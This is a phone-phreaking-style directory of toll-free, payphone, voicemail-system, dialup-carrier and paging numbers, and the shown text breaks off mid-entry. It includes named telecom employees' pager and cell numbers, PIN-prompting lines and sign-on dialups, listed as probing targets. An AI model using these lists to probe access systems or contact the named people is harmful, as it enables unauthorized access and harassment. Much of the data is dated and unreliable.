+1-800-517-MOST Sprint Canada. +1-800-518-MOST Sprint Canada. +1-800-522-9320 Sprint Canada. +1-800-540-4516 Sprint Canada. +1-800-546-6000 SprintNet's In-WATS Service. +1-800-548-8120 Sprint Canada. +1-800-555-2800 Sprint (Spanish) +1-800-570-2255 Sprint Business Service Center. +1-800-571-MOST Sprint Canada. +1-800-575-2255 Sprint Canada's Business Sales Office in Halifax. +1-800-575-MOST Sprint Canada. +1-800-580-MOST Sprint Canada. +1-800-581-MOST Sprint Canada. +1-800-585-MOST Sprint Canada. +1-800-593-MOST Sprint Long Distance. +1-800-597-1195 Sprint Canada. +1-800-597-9765 Sprint Canada. +1-800-601-MOST Sprint Canada. +1-800-605-MOST Sprint Canada. +1-800-606-MOST Sprint Canada "It's Easy home800" +1-800-607-MOST Sprint Canada. +1-800-613-7797 Sprint Canada Customer Service. +1-800-613-MOST Sprint Canada. +1-800-616-MOST Sprint Canada "It's Easy home800" +1-800-617-MOST Sprint Canada. +1-800-631-MOST Sprint Canada. +1-800-638-2661 EarthLink Sprint. (Internet) +1-800-641-MOST Sprint Canada. +1-800-653-MOST Sprint Canada. +1-800-666-6999 Sprint Canada. +1-800-674-7000 Sprint. +1-800-680-MOST Sprint Canada. +1-800-681-MOST Sprint Canada. +1-800-691-MOST Sprint Canada "It's Easy home800" +1-800-713-MOST Sprint Canada. +1-800-714-MOST Sprint Canada. +1-800-716-MOST Sprint Canada. +1-800-720-MOST Sprint Canada. +1-800-736-1130 SprintNet Data Network Products and Services. +1-800-746-3767 (1-800-PIN-DROP) Sprint. (U.S. only) +1-800-749-MOST Sprint Canada. +1-800-777-4681 (1-800-SPRINT-1) Sprint Paging. +1-800-777-4683 (1-800-SPRINT-3) Sprint Selections. +1-800-801-MOST Sprint Canada. +1-800-810-MOST Sprint Canada. +1-800-827-2200 Sprint Business. +1-800-827-3700 Sprint Long Distance. +1-800-827-4680 Sprint Business. +1-800-827-4685 Sprint's Global One Customer Service Center. +1-800-827-4700 Sprint Long Distance. +1-800-827-4800 Sprint Business Sales Office. +1-800-827-9080 Sprint. +1-800-830-MOST Sprint Canada. +1-800-831-MOST Sprint Canada. +1-800-840-MOST Sprint Canada "The Most" Enrollment. +1-800-841-MOST Sprint Canada. +1-800-843-6678 (1-800-THE-MOST) Sprint Canada. +1-800-859-8888 Sprint Canada Operator. +1-800-873-9350 Sprint Canada. +1-800-874-5069 Sprint Canada. +1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily) +1-800-877-4646 Sprint Account/Rewards/Calling Card customer services. +1-800-877-5045 Sprint Service Management Center. +1-800-877-8000 Sprint Operator assisted calls. +1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY) +1-800-890-6356 EarthLink Sprint. +1-800-980-5464 Sprint Canada Residential Customer Service/Sales. (English) +1-800-980-8595 Sprint Canada Residential Customer Service/Sales. (French) +1-800-994-MOST Sprint Canada. +1-800-EARTHLINK EarthLink Sprint. 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Preferred Accounts Division. +1-800-242-0080 Compaq Corporation. +1-800-245-4786 MSN (Micro$oft Network) +1-800-260-DELL DELL. +1-800-263-1121 Canon Canada. +1-800-263-2244 Sanyo On-Site. +1-800-263-2777 IBM Software Replication Services. +1-800-263-3394 Apple Canada. +1-800-267-5251 Compaq Services Canadian Customer Support Centre. +1-800-268-1221 Hewlett-Packard Canada Ltd. +1-800-268-3997 NEC Canada. +1-800-289-3355 (1-800-BUY-DELL) DELL Canada. +1-800-296-7160 DELL Canada. +1-800-321-4044 Intel Overdrive/Microprocessor Support Line. +1-800-325-9141 DELL Canada. +1-800-332-2717 Intel Technical Support. +1-800-332-4636 Compaq Computer Corporation. +1-800-336-5236 Texas Instruments. +1-800-339-6181 Toshiba. +1-800-344-4825 (1-800-DIGITAL) Compaq Canada. +1-800-346-6873 (1-800-34-MOUSER) Mouser Electronics (order crystals) +1-800-354-9000 Compaq Customer Services. +1-800-356-LOOK LOOK Pay Per View, TV and Internet Services. +1-800-359-9556 Samsung Telecommunications. +1-800-364-3577 3M Canada. +1-800-365-9012 Sun Microsystems Educational Services. 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(Data recovery) +1-800-661-7274 SeaChange (Internet Services) +1-800-663-0378 Toshiba Canada. +1-800-665-2775 Apple Canada Dealer Locator Line. +1-800-696-8909 Internet Direct Corporate Business Solutions. +1-800-722-4786 Sun Microsystems Canada Customer Care Centre. +1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line. +1-800-733-7418 DELL Canada. +1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support. +1-800-746-DELL DELL. +1-800-752-0900 Hewlett-Packard. +1-800-777-3278 Fujitsu Network Communications Inc. +1-800-777-4343 Digital Equipment Corp. +1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems) +1-800-786-8688 Sun Microsystems Financing-Fax Line. +1-800-801-7869 Sun Microsystems Investor Relations Department. +1-800-827-0035 America Online. +1-800-827-1225 IBM/NCR Retail Vendor Support Line. +1-800-827-2180 TOS Computer Systems. +1-800-828-3362 Novell Authorization Department. +1-800-841-8743 Computer Associates Client Services. +1-800-842-2737 Texas Instruments. +1-800-846-2301 Gateway Technical Support Line. +1-800-847-4096 DELL Canada's Service and Support Hot Line. +1-800-848-8199 CompuServe. +1-800-848-8990 CompuServe. +1-800-858-1810 Cypress Semiconductor. +1-800-858-4000 Novell Technical Support. +1-800-865-1115 Telecom Computer. +1-800-879-7660 Iomega's Instant Access Help System. +1-800-892-4429 Quanix Data Services. +1-800-900-DELL DELL. +1-800-921-DELL DELL. +1-800-942-6227 Mostly Mac Inc. +1-800-945-6111 Sun Microsystems Developer Connection. +1-800-948-DELL DELL. +1-800-999-DELL DELL Canada. +1-800-COMP-USA CompUSA Stores and Customer Service. +1-800-DEFENDER Net Zero. (free Internet service) +1-800-IOPENER Netpliance. +1-800-OK-CANON Canon Canada. +1-800-ORACLE-1 Oracle Direct Response Sales and Marketing Department. +1-800-PSI-1141 PSINet. +1-800-PEOPLEPC People PC Computer and Internet Service. +1-800-SCO-UNIX SCO Services Sales. +1-800-TOSHIBA Toshiba Computer Systems. +1-877-208-4717 Rogers@Home. +1-877-584-5551 AltaVista free access support line. (free Internet) +1-877-727-3375 MinIowa Help Desk. +1-877-EXECULINK ExecuLink Internet Services. +1-877-HOWEWORK Dell. +1-877-NOVELL-1 Novell. +1-877-SHARP-22 Sharp Canada Customer Care Center. +1-877-YOUR-MSN Micro$oft Network. +1-88-TELIGENT Teligent. +1-888-267-3856 Compaq. +1-888-288-4663 Rogers@Home Technical Support. +1-888-321-3737 VIF Internet. +1-888-4-SENTEX Sentex Communications. +1-888-453-9226 Lexmark Canada. +1-888-478-2730 I-Star Internet Incorporated. +1-888-622-3289 Fastekk Systems. +1-888-673-8925 Micro$oft's Y2K Disclosure Line. +1-888-692-1122 CompuServe. +1-888-700-3279 InterTel Network Solutions. +1-888-714-6695 Scarborough Computers (Authorized Shaw@Home Retailer) +1-888-750-6990 Shaw@Home Technical Support. +1-888-755-7068 Sun Microsystems Fax. (Mountain View, MA) +1-888-786-2310 Sun Microsystems. (Broomfield, CO) +1-888-786-3463 Sun Microsystems. (Palo Alto, CA) +1-888-791-0176 Primus Canada (iPrimus) +1-888-839-9295 IBM Haliburton Service Desk. +1-888-843-5282 Sun Microsystems Software Products and Platforms Sales Group. +1-888-858-4PSI PSINet Canada. +1-888-871-5111 Hewlett-Packard Computer Supplies. +1-888-DELL-PCS DELL Canada. +1-888-IBM-5800 IBM Small Business Solutions Center. +1-888-PSI-NET1 PSINet Limited. +1-888-PSI-NET2 PSINet Limited. +1-888-SHOP-IBM Shop IBM. (Ext 7300, 7311 or 7320) + + +------------------------------------------------------------------------------- + Miscellaneous Numbers: +------------------------------------------------------------------------------- + +(214) 275-4206 Robert Ray in Dallas, Texas. Call him collect! +(303) 499-7111 Atomic Clock in Colorado. +(312) 408-1400 TU (Trans Union) +(435) 855-3326 DefCon Voice Bridge (hack/phreak discussions and chats) +(937) 445-4357 NCR HQ. (option 2) + +1-800-200-0068 Call Interactive. (listen to male and female voices) +1-800-205-6700 Coolemail.com +1-800-221-2255 American Airlines VMS. +1-800-222-5000 AAA's Air, Hotel and Car Reservations. +1-800-222-6000 Box 6853968 (NUKEYOU) Damage, INC. VMB. +1-800-222-TIPS Crime Stoppers. +1-800-225-5101 Cable Guide Hotline. +1-800-225-5455 Johnson and Johnson VMS. +1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support. +1-800-225-5854 Meridian Mail VMB. +1-800-225-5921 Highlander Sale Catalog. (for ordering Scottish merchandise!) +1-800-255-3700 Nintendo. +1-800-263-0656 NCR. +1-800-263-1136 Statistics Canada. +1-800-265-0977 NCR. +1-800-265-MUCH MuchMusic. (Much On Demand) +1-800-267-1177 Canada Post. +1-800-267-7000 Royal Canadian Mint. +1-800-289-6241 Mag-Lite flashlights. +1-800-331-9922 General Motors Shareholder's Services. +1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ. +1-800-336-6000 Audix VMB. +1-800-353-0809 Call to remove yourself from Credit Card company lists. +1-800-360-2255 Century 21 Realty VMS. +1-800-387-4636 Nestle Canada. +1-800-387-8240 NCR. +1-800-387-8300 NCR Help Desk and Call Management Center. +1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline) +1-800-4-DOTCOM Network Solutions. (the Dot Com people) +1-800-400-VIEW Rogers Cable Viewer's Choice. +1-800-407-2247 Quaker Oats Company. +1-800-418-6245 Blockbuster's VMS. +1-800-421-7944 NCR Benefits Service Center. +1-800-425-1111 Pepsi Cola Atlantic Customer Service. +1-800-426-0000 Systematic. (these people aren't very phreakymatic) +1-800-439-2204 Brewer's Retail Help Desk. (The Beer Store - ask for free beer!) +1-800-452-9996 Statistics Canada. +1-800-461-2800 Canadian Tire Cardholder Services. +1-800-461-5161 NCR Canada Emergency Parts Order Desk. +1-800-465-1176 Meridian Mail VMB. +1-800-468-1714 Hershey Canada. +1-800-472-5451 Hershey Canada Inc. +1-800-488-7040 ADT Security. +1-800-501-1150 Hershey Canada Inc. (French) +1-800-501-6245 Database America's answering machine. +1-800-541-6821 Super Bureau Inc. (find documents on almost anyone) +1-800-555-1313 SkyTel VMB. +1-800-555-1560 Audix VMB. +1-800-555-6620 Meridian Mail VMB. +1-800-557-6245 Saloman Smith Barney VMS. +1-800-565-6317 Cadbury. +1-800-5678-HMV HMV Music Store. +1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services. +1-800-663-1243 Adbusters Media Foundation. (Culture Jamming) +1-800-663-7780 NCR Invoicing Department. +1-800-666-1474 American Coin Machine. +1-800-668-1417 Global Business Centers. +1-800-668-3979 Bestobell Canada Ltd (Toronto) +1-800-669-1800 Burger King's VMB. (4 digit BNs) +1-800-672-3888 National Rifle Association Hotline. +1-800-678-8774 Source Resources (the source for finding people) +1-800-682-7654 Experion Credit checks/reports. (formerly TRW) +1-800-685-1101 CB (Equifax) +1-800-685-1102 CB (Equifax) +1-800-685-1103 CB (Equifax) +1-800-685-1104 CB (Equifax) +1-800-685-1111 CB (Equifax) +1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm. +1-800-707-0570 Ad Ventures Inc. +1-800-724-3780 Seiger Electronics. +1-800-724-6644 Ext. #22783700 Phone Losers of America VMB. +1-800-777-2255 Phone Works VMS. +1-800-792-1000 Columbia House CD-ROM Club. +1-800-800-8800 Target Directory. +1-800-842-2255 American Express VMS (Audix) +1-800-888-4848 Subway's VMS. +1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3") +1-800-892-3351 National Rifle Association (Join the NRA Now!) +1-800-909-3250 Meridian Mail VMB. +1-800-909-4672 National Rifle Association (NRA) +1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory. +1-800-939-4484 ITI (Information Technology Institute) +1-800-949-6245 Phone Mail VMB. +1-800-954-6245 OcTel VMB. +1-800-CRIME-TV America's Most Wanted. +1-800-DIRECTV DirecTV. (satellite television) +1-800-FIRST-CALL First Call. (Cable Locate Service) +1-800-GETEVOICE eVoice by Nokia. (call to sign up for a free VMB) +1-800-GO-FEDEX FedEx. +1-800-KRAMERS The Real Kramer's Reality Tour in New York City. +1-800-MOLSON-1 Molson Canada. +1-800-NY-TIMES New York Times Customer Service. +1-800-O-CANADA Government of Canada. +1-800-ONTARIO Travelinx Ontario. (Tourism Information) +1-877-326-2826 NCR Bell Help Desk. +1-877-450-9488 Wraith Tech Industries Main Number. (24/7) +1-877-66-TRIOS TriOS Training Centres. (MCSE, Unix, Novell) +1-877-724-2647 "Security" loser. +1-877-875-2762 Pioneer Help Line. +1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline. +1-888-25-GREAT Cleveland Hotline. +1-888-256-5678 NCR AlertLine. +1-888-339-1688 MediaOne. +1-888-349-6972 Micron Electronics Technical Support. +1-888-504-2355 "Tony Bell" from Remax. +1-888-536-2355 "This is Ken Bell." (Voice) +1-888-663-3279 Canada Trust Co. +1-888-751-8088 Guinness World Records. +1-888-EMAIL-ME College Club Free VoiceMail. (U.S. only) +1-888-STAR-602 Star Choice Customer Service. (Satellite television) +1-888-STCK-NCR NCR Corporation Associates Stock Ownership at Merrill Lynch. +1-888-TEL-CORD "This is Roy." (ask for your telephone cord back!) + + +------------------------------------------------------------------------------- + Payphones: +------------------------------------------------------------------------------- + +(214) 381-9151 Vecta's Food Store on Jim Miller and Bruton Road Dallas, TX. (O) +(214) 824-9028 Sparkle Car Wash in 1600 Block of Haskell Dallas, Texas. (O) +(214) 841-4719 Sparkle Car Wash in 1600 Block of Haskell Dallas, Texas. (O) +(214) 841-9840 Lizzard Lounge Dallas, TX. (O) +(519) 322-2033 Point Pelee Park. (A) (O) +(519) 570-9131 Kitchener, ON. +(519) 571-5092 Paytel Payphone on Highland Rd at GOCO gas station. (C) (O) +(519) 576-0354 Paytel Payphone on Weber Street in Kitchener, ON. (C) (O) +(519) 576-5239 King Street Kitchener, ON. (M) (O) +(519) 576-9444 King Street Kitchener, ON. (M) (O) +(519) 578-9318 Highland Road Kitchener, ON. (M) (O) +(519) 579-2111 Wink's Sunoco on Highland Rd Kitchener, ON. (M) (O) +(519) 744-3349 1st Canadian Telecom at Queen & Duke St. Kitchener, ON. (C) (O) +(519) 746-0329 WLU Arts Building E Wing 1st Floor. (M) (I) +(519) 746-1488 University of Waterloo Davis Centre. (M) (I) +(519) 746-1488 University of Waterloo. (M) (I) +(519) 746-1838 University of Waterloo Davis Centre. (DM) (I) +(519) 746-1856 Wilfred Laurier University Aird Dining Hall East. (M) (I) +(519) 746-2685 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-2801 University of Waterloo Davis Centre. (M) (I) +(519) 746-2801 University of Waterloo. (M) (I) +(519) 746-3561 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-3793 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-4006 University of Waterloo Davis Centre Library entrance. (DM) (I) +(519) 746-4606 University of Waterloo. (M) (I) +(519) 746-4654 UofW South Campus Physical Activities Center. (DM) (I) +(519) 746-6280 University of Waterloo. (M) (I) +(519) 746-6434 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-7039 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-7107 WLU Alvin Wood Concourse. (M) (I) +(519) 746-7787 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-8751 University of Waterloo Davis Centre Library entrance. (DM) (I) +(519) 746-8751 University of Waterloo. (M) (I) +(519) 746-9070 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-9093 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9094 University of Waterloo. (M) (I) +(519) 746-9113 University of Waterloo Davis Centre. (M) (I) +(519) 746-9115 University of Waterloo Davis Centre. (M) (I) +(519) 746-9134 WLU Aird First Floor Dining Hall Lower Level. (M) (I) +(519) 746-9172 East Side Marios University St. Plaza Waterloo, ON. (M) (I) +(519) 746-9203 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-9208 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9209 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9236 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9241 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9252 Wilfred Laurier University Library Basement. (M) (I) +(519) 746-9263 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9271 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9273 Wilfred Laurier University Alvin Wood Concourse. (M) (I) +(519) 746-9277 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9305 University Shops Plaza I Waterloo, ON. (M) (O) +(519) 746-9324 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-9368 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9497 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9498 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9580 Wilfred Laurier University Library Basement. (M) (I) +(519) 746-9591 University of Waterloo Davis Centre. (M) (I) +(519) 746-9591 University of Waterloo. (M) (I) +(519) 746-9592 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9593 University of Waterloo Davis Centre. (M) (I) +(519) 746-9594 University of Waterloo Davis Centre. (M) (I) +(519) 746-9602 WLU Aird First Floor Dining Hall Lower Level. (M) (I) +(519) 746-9624 Wilfred Laurier University Aird Dining Hall East. (M) (I) +(519) 746-9626 UofW South Campus Bus Stop near Davis Centre Library. (M) (O) +(519) 746-9628 UofW South Campus Bus Stop on Ring Road. (M) (O) +(519) 746-9630 UofW South Campus Ira G Needles Hall Bus Stop. (M) (O) +(519) 746-9631 University of Waterloo South Campus Bus Stop. (M) (O) +(519) 747-5773 1st Canadian Telecom at Weber St. Short Stop Kitchener. (C) (O) +(519) 747-9422 1st Canadian Telecom at Weber St. Short Stop Kitchener. (C) (O) +(519) 749-7015 1st Canadian Telecom at Belmont Short Stop Kitchener. (C) (O) +(519) 749-8011 1st Canadian Telecom at Highland Short Stop Kitchener. (C) (O) +(519) 749-8857 Paytel on University Ave and Moore in Waterloo, ON. (C) (O) +(519) 749-8877 1st Canadian Telecom at Queen St. Short Stop Kitchener. (C) (O) +(519) 749-9081 Mr. Sub on Highland and Westmount Kitchener, ON. (CE) (O) +(519) 749-9113 Medical Center at 18 Pine St. Kitchener First Floor. (CE) (I) +(519) 749-9335 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9357 King and Gaukel Street Kitchener, ON. (M) (O) +(519) 749-9407 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9462 AT&T Canada payphone at Esso on Fisher Hallman. (C) (O) +(519) 749-9470 King and Breithaopt Tim Hortons Kitchener, ON. (M) (O) +(519) 749-9503 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9505 King and Benton Street. Kitchener, ON. (M) (O) +(519) 749-9524 King and Water Street. Kitchener, ON. (CE) (O) +(519) 749-9535 King Street. (near Benton St.) Kitchener, ON. (M) (O) +(519) 749-9539 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9578 King Street. (near Queen St.) Kitchener, ON. (M) (O) +(519) 749-9607 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O) +(519) 749-9609 Queen Street across from Encore Records. Kitchener, ON. (CE) (O) +(519) 749-9627 King Street. (near Queen St.) Kitchener, ON. (M) (O) +(519) 749-9650 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9657 Kitchener Transit Bus Terminal. (M) (O) +(519) 749-9659 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9662 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9704 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9710 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O) +(519) 749-9732 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9749 Kitchener Transit Bus Terminal. (M) (O) +(519) 749-9782 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9784 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9786 King and Breithaopt Tim Hortons Kitchener, ON. (M) (O) +(519) 749-9893 Kitchener Transit Bus Terminal. (M) (O) +(519) 883-1061 University Shops Plaza I Waterloo, ON. (M) (O) +(519) 883-1384 University Shops Plaza I Waterloo, ON. (M) (O) +(519) 883-8361 Wilfred Laurier University Alvin Wood Concourse. (M) (I) +(519) 885-3211 WLU Arts Building E Wing 1st Floor. (M) (I) +(519) 885-3297 WLU Arts Building E Wing 1st Floor. (M) (I) +(519) 885-5058 WLU Arts Building E Wing 1st Floor. (M) (I) +(519) 886-7899 UofW South Campus Physical Activities Center. (M) (I) +(519) 886-8112 UofW South Campus Physical Activities Center. (M) (I) +(519) 886-8330 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-0094 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-0107 Wilfred Laurier University Students Union Ground Floor. (M) (I) +(519) 888-0837 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-6434 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-7236 University Shops Plaza II Williams Coffee Pub. (M) (I) +(519) 888-9046 Wilfred Laurier University Students Union. (M) (I) +(519) 888-9074 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-9309 Wilfred Laurier University Students Union. (M) (I) +(519) 894-5919 AT&T Canada payphone at Esso on Courtland & Manitou. (C) (O) +(705) 328-9710 Payphone at 98 Albert St. in Lindsay, ON. (A) (O) +(760) 733-9969 Mojave Desert Phone Booth in California. (A) (O) +(810) 784-9018 Armada, Michigan High School. (A) (I) +(905) 946-9953 Coffee Time in Markham, ON. (A) (I) + +(A)=Accepts Incoming Calls, (C)=COCOT, (CE)=Centurion, (DM)=Desktop Millennium, +(I)=Indoors, (M)=Millennium, (O)=Outdoors. + +For more payphone numbers, visit www.payphone-directory.org + + +------------------------------------------------------------------------------- + Telco Employees (Answering Machines and Pagers): +------------------------------------------------------------------------------- + +(204) 941-7654 June Kirby MTS Director Corporate Communications. +(204) 941-8283 Brad Woods MTS Director Investor Relations. +(416) 350-0573 Bell Canada Media Relations (Irene Shimoda) +(416) 377-3724 Mike Turner's Pager (works for Bell) +(416) 379-2117 Dave Twiner's Pager (works for Bell) +(416) 452-4626 Caroline Verboon of GPC. (cell phone) +(416) 453-5501 George Ross with Telecom Canada. (cell phone) +(416) 581-3311 Bell Canada Media Relations (Don Hogarth) +(416) 581-3311 irene.shimoda@bell.ca +(416) 598-0055 GPC Communications (Caroline Verboon) +(416) 941-7026 Bell Canada Media Relations Pager. (Irene Shimoda) +(514) 391-2007 Bell Canada Media Relations (Louis Arseneault) +(514) 786-3655 shirley.bishop@bell.ca +(514) 786-3908 Jean-Charles Robillard with Bell Canada. +(514) 870-2488 Bell Canada Investor Relations (Frank Miscio) +(514) 918-3617 Jean-Charles Robillard (cell phone) +(604) 432-2663 Doug Strachan with TELUS. +(613) 660-1186 Bell Canada's Voice Information Processing System. +(613) 660-2355 Bell Canada's Voice Information Processing System. +(613) 660-6708 Roxanne Halverson with Bell Canada. +(613) 660-6709 Bell Canada's Voice Information Processing System. +(613) 660-6710 Stentor Communications. (Isabelle Lanteigne) +(613) 660-6711 Stentor Communications. (French employee) +(613) 660-6712 Stentor Communications. (Louisse) +(613) 660-6713 Stentor Emergency Operations Centre. +(613) 660-6982 Stentor 2000 Information Line. + +1-800-272-4835 Steve Freedlander with Ameritech. (Answering Machine) +1-800-407-2355 John with Southwestern Bell Wireless. +1-800-455-6813 Jack Hogan of MCI WorldCom's Pager. +1-800-465-9625 Bell Canada Media Relations (Shirley Bishop) +1-800-483-6390 Scott's Pager (Qwest Communications) +1-800-483-7695 Scott from Americom's Pager/Voicemail. +1-800-493-2603 Kimberly Smith at Qwest Communications. +1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine) +1-800-661-0480 Debbie Southerland of Bell ActiMedia. +1-877-391-2007 Bell Canada Media Relations (Louis Arseneault) +1-888-482-0809 Bell Canada Media Relations (Irene Shimoda) + + +------------------------------------------------------------------------------- + Numbers that Require PINs: +------------------------------------------------------------------------------- + +(416) 350-9024 "Enter your PIN number now." +1-800-235-3155 "Welcome. Enter the PIN number you wish." +1-800-249-6245 "Please enter your 7 digit access code." +1-800-309-6678 "Please enter your PIN number now." +1-800-352-8201 "Please enter your 4 digit PIN." +1-800-525-7877 "Please enter your 4 digit PIN." +1-800-549-6245 "Welcome. Enter the PIN number you wish." +1-800-555-2250 "Enter the PIN number you wish." +1-800-566-6245 "Please enter your four digit PIN." +1-800-643-6245 "Enter ID number immediately followed by your security code." +1-800-749-4200 "Enter the PIN number you wish." +1-800-827-4780 "Please enter your PIN number." +1-800-827-9910 SkyTel. "Enter the PIN number you wish." +1-800-862-6340 "Please enter your 4 digit PIN." +1-888-612-2355 "Enter the PIN number you wish." +1-888-614-2355 "Enter the PIN number you wish." +1-888-623-2355 "Enter the PIN number you wish." +1-888-684-4466 "Enter the PIN number you wish." + + +------------------------------------------------------------------------------- + Carriers: +------------------------------------------------------------------------------- + +(416) 361-3028 MCI/CompuServe Dialup. +(416) 594-1121 SprintNet Dialup. +(519) 821-4950 AT&T Canada PSN. (dialup with 40 lines) +1-800-222-0555 Tymnet Dialup. +1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping) +1-800-234-6245 MCI (USA) +1-800-283-5474 Okidata (inside joke!) +1-800-346-3247 CompuServe. +1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA) +1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA) +1-800-472-INET Unisys, UEN Internet Access Gateway - Eagan, MN +1-800-546-2500 Sprint's online directory of SprintNet local access numbers. +1-800-565-8805 Datapac WATS access number. +1-800-604-6245 Digital Equipment Corporation. +1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit. +1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines) +1-800-843-0378 MCI/CompuServe Dialup. +1-800-848-4480 MCI WorldCom Network Assistance. (lists local access numbers) +1-803-939-8207 NCR Global Support Center BBS. (9 lines) + +(Use the N-8-1 setting to connect to the carriers above.) + + +------------------------------------------------------------------------------- + Cellular, PCS, Messaging and Paging Services: +------------------------------------------------------------------------------- + +1-800-214-4488 Wireless Solutions Hotline. +1-800-222-8466 Cellular Rentals. +1-800-227-3663 (1-800-CAR-FONE) Ericsson. +1-800-225-5152 Nationwide Messaging. +1-800-235-1414 National Telewire Message Centre. +1-800-244-7464 Scot Forge. (Mobile Telephone Equipment) +1-800-258-2669 Answer America. (Telephone Answering Service) +1-800-263-7536 Nokia Mobile Phones. +1-800-264-2355 (1-800-ANI-CELL) Cellular South Answer Center. +1-800-267-9010 Message Center Dispatch. +1-800-274-3127 MobileCom's National Customer Service Center. +1-800-320-3488 Motorola Radio Network Services. (San Diego, CA) +1-800-329-7402 ProPage (Paging and Voicemail) +1-800-333-6414 Answerfone, Inc. (Answering Service) +1-800-361-1319 Motorola Canada. +1-800-367-2346 Motorola Telecommunications Administration. +1-800-374-2355 InterCall. +1-800-374-2776 (1-800-ERICSSON) Ericsson Mobile Phones Customer Care Center. +1-800-377-2288 Mountain West Communications. (Telephone Answering Service) +1-800-381-7707 Rogers Cantel Service. (Barrie, ON) +1-800-387-9000 Jetco Companies. (press "4" - InTouch Canada Cell Phone Rentals) +1-800-405-6543 American Mobile. +1-800-411-2355 Car Phone Store. +1-800-432-2355 Air Touch Paging. +1-800-438-2355 Kentucky Cellular. +1-800-443-5464 Cue Paging Customer Service. +1-800-446-6744 Motorola Supplier/Customer Training Services. +1-800-452-2355 Appalacian Wireless. +1-800-453-0920 Motorola IDEN Customer Services. +1-800-455-2948 SkyWard Message Center. +1-800-456-3333 SkyTel National Sales Center. +1-800-460-2255 Pager Service. +1-800-461-4575 Motorola Cellular Customer Service. +1-800-474-2355 OmniCell Technologies Incorporated. +1-800-481-2355 ATI Cellular. +1-800-483-5010 Cellular Express. +1-800-488-2355 Cellular 2000. +1-800-496-2355 Nationlink. +1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.) +1-800-523-2337 ProPage. +1-800-535-2489 Cellular City in Las Vegas, NV (Cellular Rentals and Service) +1-800-538-4715 Le Tip International. (Paging, Signaling Equipment and Systems) +1-800-543-7658 Cue Paging Customer Service. +1-800-547-8444 B&B Beepers Activation Line. +1-800-548-7172 Comstock Answering and Services. +1-800-549-2355 Advanced Cellular and Paging. +1-800-569-8840 Answer Point Telephone Equipment. (Reno, NV) +1-800-590-2355 ATI Cellular. +1-800-613-2355 Cellular Unlimited. +1-800-625-8885 Tab Beepers. (Wireless Communications) +1-800-626-2636 SNET Page 2000. (Paging Services) +1-800-634-0958 Palco Telecom Service Inc. (Telephone Equipment and Repairs) +1-800-638-2355 Comcev Cellular Communications. +1-800-642-9378 Mountain West Communications. (Telephone Answering Service) +1-800-654-6115 Business Communications Distributors (BCD) Telephone Equipment. +1-800-667-7243 Cantel AT&T Paging. +1-800-673-2355 Quintex Cellular. +1-800-6AIR-TOUCH Air Touch Paging Canada. +1-800-705-2355 OmniCell Technical Department VMS. +1-800-706-2355 Paging Service Center. +1-800-724-2355 AllCell Rentals. +1-888-736-8567 Motorola. +1-800-742-2355 Mobile Media. +1-800-749-9977 TSR Wireless. +1-800-759-2355 Plymouth Bell Laboratories. +1-800-765-2355 Isralink Communications. (Israeli Cell phones) +1-800-794-2355 Advantage Communications Systems. +1-800-806-2355 Advantage Paging. +1-800-821-2355 MobileCom. +1-800-821-5425 Metro-Call. (Paging, Signaling Equipment and Systems) +1-800-824-2337 The Wireless Store. +1-800-824-9755 Cue Paging Sales. (Paging, 